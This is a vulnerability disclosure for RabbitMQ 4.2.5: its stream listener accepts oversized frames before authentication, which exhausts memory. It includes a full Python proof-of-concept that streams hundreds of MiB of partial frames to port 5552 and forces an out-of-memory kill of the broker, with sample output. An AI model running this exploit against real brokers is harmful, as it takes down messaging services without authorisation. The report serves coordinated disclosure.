Описание
Stream listener does not enforce configured frame-size limit during authentication, permitting unauth'd mem-exhaust DoS
Summary
RabbitMQ 4.2.5's stream listener does not enforce the configured stream frame-size limit of 1 MiB while assembling frames during authentication/before Tune negotiation. A remote, fully unauthenticated client can therefore declare oversized frame lengths and stream large partial frames into rabbit_stream_core, which stores the incomplete payload in broker memory before authentication or vhost checks occur. The only deployment-specific prerequisite is use of the first-party rabbitmq_stream listener on port 5552; no RabbitMQ credentials, management access, or root-owned configuration control are required.
Details
The stream server advertises and configures a default frame_max of 1 MiB via deps/rabbitmq_stream_common/include/rabbit_stream.hrl:85 and deps/rabbitmq_stream/src/rabbit_stream_sup.erl:58. The stream protocol documentation also describes FrameMax as the frame-size limit in bytes in deps/rabbitmq_stream/docs/PROTOCOL.adoc. However, the parser entry point deps/rabbitmq_stream_common/src/rabbit_stream_core.erl:191 contains an explicit %% TODO: check max frame size and never rejects oversized lengths.
When a client sends only part of a declared frame, deps/rabbitmq_stream_common/src/rabbit_stream_core.erl:200 stores the remaining byte count and partial payload, and deps/rabbitmq_stream_common/src/rabbit_stream_core.erl:236 keeps appending attacker-controlled chunks until the declared size is reached. deps/rabbitmq_stream_common/src/rabbit_stream_core.erl:640 additionally uses Prev ++ [Data], which may amplify allocator work as the fragment count grows. deps/rabbitmq_stream/src/rabbit_stream_reader.erl:1270 feeds unauthenticated network bytes directly into this parser before authentication completes and before Tune negotiation.
PoC
Adjust the top-level tunables in the PoC script as necessary, then run it:
Script (Click to expand)
#!/usr/bin/env python3
from __future__ import annotations
import os
import socket
import struct
import subprocess
import time
from pathlib import Path
from typing import Final
DEFAULT_RABBITMQ_HOME: Final[Path] = Path("/home/vh/rabbitmq_server-4.2.5")
RABBITMQ_HOME: Final[Path] = Path(os.environ.get("RABBITMQ_HOME", str(DEFAULT_RABBITMQ_HOME)))
SBIN_DIR: Final[Path] = RABBITMQ_HOME / "sbin"
RABBITMQCTL: Final[Path] = SBIN_DIR / "rabbitmqctl"
RABBITMQ_DIAGNOSTICS: Final[Path] = SBIN_DIR / "rabbitmq-diagnostics"
RABBITMQ_PLUGINS: Final[Path] = SBIN_DIR / "rabbitmq-plugins"
RABBITMQ_SERVER: Final[Path] = SBIN_DIR / "rabbitmq-server"
RABBITMQ_NODENAME: Final[str] = "rabbit@localhost"
STREAM_PORT: Final[int] = 5552
AMQP_PORT: Final[int] = 5672
CGROUP_NAME_PREFIX: Final[str] = "f001_stream_oom"
BOUNDED_BYTES: Final[int] = 512 * 1024
OVERSIZE_DECLARED_BYTES: Final[int] = 256 * 1024 * 1024
OVERSIZE_SENT_BYTES: Final[int] = 128 * 1024 * 1024
CRASH_DECLARED_BYTES: Final[int] = 1024 * 1024 * 1024
CRASH_SENT_BYTES: Final[int] = 768 * 1024 * 1024
CGROUP_MEMORY_MAX: Final[str] = "400M"
def print_breaker(title: str) -> None:
print(f"\n*** {title.upper()} ***", flush=True)
def print_value(label: str, value: str | int | float | Path) -> None:
print(f"{label}: {value}", flush=True)
def rabbit_env() -> dict[str, str]:
env = dict(os.environ)
env["HOME"] = "/home/vh"
env["RABBITMQ_HOME"] = str(RABBITMQ_HOME)
env["RABBITMQ_NODENAME"] = RABBITMQ_NODENAME
env["PATH"] = f"{SBIN_DIR}:{env.get('PATH', '')}"
return env
def run_command(command: list[str], *, check: bool = True) -> subprocess.CompletedProcess[str]:
print(f"$ {' '.join(command)}", flush=True)
completed = subprocess.run(
command,
env=rabbit_env(),
text=True,
capture_output=True,
check=False,
)
if completed.stdout:
print(completed.stdout.rstrip(), flush=True)
if completed.stderr:
print(completed.stderr.rstrip(), flush=True)
if check and completed.returncode != 0:
raise SystemExit(
f"command failed with exit code {completed.returncode}: {' '.join(command)}"
)
return completed
def ensure_broker_ready() -> None:
print_breaker("ensure broker is running")
ping = run_command([str(RABBITMQ_DIAGNOSTICS), "-q", "ping"], check=False)
if ping.returncode != 0:
run_command([str(RABBITMQ_SERVER), "-detached"])
run_command([str(RABBITMQCTL), "-n", RABBITMQ_NODENAME, "await_startup"])
run_command([str(RABBITMQ_PLUGINS), "-q", "enable", "rabbitmq_stream"])
run_command([str(RABBITMQCTL), "-n", RABBITMQ_NODENAME, "stop_app"])
run_command([str(RABBITMQCTL), "-n", RABBITMQ_NODENAME, "start_app"])
run_command([str(RABBITMQCTL), "-n", RABBITMQ_NODENAME, "await_startup"])
time.sleep(1)
def print_target_info() -> None:
print_breaker("target")
completed = run_command([str(RABBITMQCTL), "-n", RABBITMQ_NODENAME, "version"])
version = completed.stdout.strip().splitlines()[-1].strip()
print_value("rabbitmq home", RABBITMQ_HOME)
print_value("server version", version)
def beam_pid() -> int:
return int(
subprocess.check_output(
["pgrep", "-n", "beam.smp"],
text=True,
).strip()
)
def read_rss_kb(pid: int) -> int:
with Path(f"/proc/{pid}/status").open("r", encoding="utf-8") as handle:
for line in handle:
if line.startswith("VmRSS:"):
return int(line.split()[1])
raise SystemExit(f"VmRSS not found for pid {pid}")
def read_text(path: str) -> str:
return Path(path).read_text(encoding="utf-8").strip()
def stream_frame_max() -> int:
completed = run_command(
[
str(RABBITMQCTL),
"-n",
RABBITMQ_NODENAME,
"eval",
'io:format("~p", [application:get_env(rabbitmq_stream, frame_max)]).',
]
)
output = completed.stdout.strip().replace("\n", "")
prefix = "{ok,"
start = output.find(prefix)
end = output.find("}", start)
if start != -1 and end != -1:
return int(output[start + len(prefix) : end])
raise SystemExit(f"unexpected frame_max output: {output}")
def port_is_open(port: int) -> bool:
try:
sock = socket.create_connection(("127.0.0.1", port), timeout=0.5)
except OSError:
return False
sock.close()
return True
def assert_port_state(port: int, *, should_be_open: bool) -> None:
observed = port_is_open(port)
if observed != should_be_open:
state = "open" if should_be_open else "closed"
raise SystemExit(f"port {port} is not {state}")
def send_partial_frame(
*,
declared_size: int,
sent_size: int,
fill_byte: bytes,
sleep_after: float = 0.2,
) -> dict[str, int | float]:
pid = beam_pid()
before = read_rss_kb(pid)
sock = socket.socket()
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
sock.connect(("127.0.0.1", STREAM_PORT))
start = time.time()
sock.sendall(struct.pack(">I", declared_size))
chunk = fill_byte * (1024 * 1024)
remaining = sent_size
while remaining > 0:
piece = chunk if remaining >= len(chunk) else fill_byte * remaining
sock.sendall(piece)
remaining -= len(piece)
time.sleep(sleep_after)
after = read_rss_kb(pid)
sock.close()
return {
"declared_bytes": declared_size,
"sent_bytes": sent_size,
"before_rss_kb": before,
"after_rss_kb": after,
"delta_kb": after - before,
"elapsed": round(time.time() - start, 3),
}
def print_partial_frame_result(result: dict[str, int | float]) -> None:
print_value("declared frame bytes", int(result["declared_bytes"]))
print_value("sent bytes", int(result["sent_bytes"]))
print_value("rss before (KiB)", int(result["before_rss_kb"]))
print_value("rss after (KiB)", int(result["after_rss_kb"]))
print_value("rss delta (KiB)", int(result["delta_kb"]))
print_value("elapsed seconds", result["elapsed"])
def bounded_stage(frame_max_bytes: int) -> None:
print_breaker("bounded control")
result = send_partial_frame(
declared_size=BOUNDED_BYTES,
sent_size=BOUNDED_BYTES,
fill_byte=b"D",
)
print_partial_frame_result(result)
time.sleep(1.0)
assert_port_state(STREAM_PORT, should_be_open=True)
if result["sent_bytes"] > frame_max_bytes:
raise SystemExit("bounded stage unexpectedly exceeded frame_max")
def oversized_stage(frame_max_bytes: int) -> None:
print_breaker("oversized pre-auth frame")
result = send_partial_frame(
declared_size=OVERSIZE_DECLARED_BYTES,
sent_size=OVERSIZE_SENT_BYTES,
fill_byte=b"B",
sleep_after=1.0,
)
print_partial_frame_result(result)
if result["sent_bytes"] <= frame_max_bytes:
raise SystemExit("oversized stage did not exceed frame_max")
if result["delta_kb"] <= frame_max_bytes // 1024:
raise SystemExit("oversized stage did not grow RSS beyond frame_max")
time.sleep(1.0)
assert_port_state(STREAM_PORT, should_be_open=True)
def crash_stage() -> None:
print_breaker("deterministic crash with cgroup accelerator")
pid = beam_pid()
cgroup_path = f"/sys/fs/cgroup/{CGROUP_NAME_PREFIX}_{pid}"
subprocess.run(
[
"sudo",
"sh",
"-c",
(
f"mkdir -p {cgroup_path} && "
f"echo 1 > {cgroup_path}/memory.oom.group && "
f"echo {CGROUP_MEMORY_MAX} > {cgroup_path}/memory.max && "
f"echo 0 > {cgroup_path}/memory.swap.max && "
f"echo {pid} > {cgroup_path}/cgroup.procs"
),
],
check=True,
)
sock = socket.socket()
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
sock.connect(("127.0.0.1", STREAM_PORT))
sock.sendall(struct.pack(">I", CRASH_DECLARED_BYTES))
chunk = b"C" * (1024 * 1024)
sent_bytes = 0
start = time.time()
send_error = "none"
while sent_bytes < CRASH_SENT_BYTES:
try:
sock.sendall(chunk)
sent_bytes += len(chunk)
except OSError as exc:
send_error = repr(exc)
break
sock.close()
time.sleep(0.5)
events = read_text(f"{cgroup_path}/memory.events")
print_value("sent MiB before reset", sent_bytes // (1024 * 1024))
print_value("elapsed seconds", round(time.time() - start, 3))
print_value("send error", send_error)
print("memory.events:", flush=True)
print(events, flush=True)
if "oom_group_kill 1" not in events:
raise SystemExit("expected oom_group_kill 1 in memory.events")
time.sleep(1.0)
assert_port_state(STREAM_PORT, should_be_open=False)
assert_port_state(AMQP_PORT, should_be_open=False)
def main() -> None:
ensure_broker_ready()
print_target_info()
frame_max_bytes = stream_frame_max()
print_value("frame_max", frame_max_bytes)
bounded_stage(frame_max_bytes)
oversized_stage(frame_max_bytes)
crash_stage()
if __name__ == "__main__":
main()
Sample expected output (Click to expand)
*** ENSURE BROKER IS RUNNING ***
$ /home/vh/rabbitmq_server-4.2.5/sbin/rabbitmq-diagnostics -q ping
Error:
Failed to connect and authenticate to rabbit@localhost in 60000 ms
$ /home/vh/rabbitmq_server-4.2.5/sbin/rabbitmq-server -detached
$ /home/vh/rabbitmq_server-4.2.5/sbin/rabbitmqctl -n rabbit@localhost await_startup
Still booting, will check again in 10 seconds...
$ /home/vh/rabbitmq_server-4.2.5/sbin/rabbitmq-plugins -q enable rabbitmq_stream
The following plugins have been configured:
rabbitmq_management
rabbitmq_management_agent
rabbitmq_stream
rabbitmq_web_dispatch
Applying plugin configuration to rabbit@localhost...
Plugin configuration unchanged.
$ /home/vh/rabbitmq_server-4.2.5/sbin/rabbitmqctl -n rabbit@localhost stop_app
Stopping rabbit application on node rabbit@localhost ...
$ /home/vh/rabbitmq_server-4.2.5/sbin/rabbitmqctl -n rabbit@localhost start_app
Starting node rabbit@localhost ...
$ /home/vh/rabbitmq_server-4.2.5/sbin/rabbitmqctl -n rabbit@localhost await_startup
*** TARGET ***
$ /home/vh/rabbitmq_server-4.2.5/sbin/rabbitmqctl -n rabbit@localhost version
4.2.5
rabbitmq home: /home/vh/rabbitmq_server-4.2.5
server version: 4.2.5
$ /home/vh/rabbitmq_server-4.2.5/sbin/rabbitmqctl -n rabbit@localhost eval io:format("~p", [application:get_env(rabbitmq_stream, frame_max)]).
{ok,1048576}ok
frame_max: 1048576
*** BOUNDED CONTROL ***
declared frame bytes: 524288
sent bytes: 524288
rss before (KiB): 156496
rss after (KiB): 157492
rss delta (KiB): 996
elapsed seconds: 0.202
*** OVERSIZED PRE-AUTH FRAME ***
declared frame bytes: 268435456
sent bytes: 134217728
rss before (KiB): 155372
rss after (KiB): 285112
rss delta (KiB): 129740
elapsed seconds: 1.064
*** DETERMINISTIC CRASH WITH CGROUP ACCELERATOR ***
sent MiB before reset: 406
elapsed seconds: 1.287
send error: ConnectionResetError(104, 'Connection reset by peer')
memory.events:
low 0
high 0
max 44
oom 1
oom_kill 2
oom_group_kill 1
Impact
Any network client that can reach the stream listener can trigger memory growth far beyond the configured 1 MiB limit before authentication completes, and can drive broker or node unavailability once memory is exhausted. The attached PoC shows deterministic node death under a 400 MiB memory limit using a cgroup cap. The only deployment prerequisite is that the first-party rabbitmq_stream plugin is enabled and reachable; no credentials, management access, or unsafe local configuration are required.
Note: the amount of data the attacker can pipe in is bounded by their speed x connection_negotiation_step_timeout, which defaults to 10 secs. So, the attack is not unbounded, but with a decent link the attacker can drive a lot of memory usage (esp. relevant in containerized deployments).
Possible CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5)
Disclosure/CVE coordination
Please let me know if you have a preferred private disclosure/coordination process (reaching out to CNAs etc.). If I may request to be credited: please credit "Asim Viladi Oglu Manizada" (@manizada on GH).
AI Use Disclosure
I used a custom AI agent pipeline to discover the vulnerability, after which I manually reproduced and validated each step.
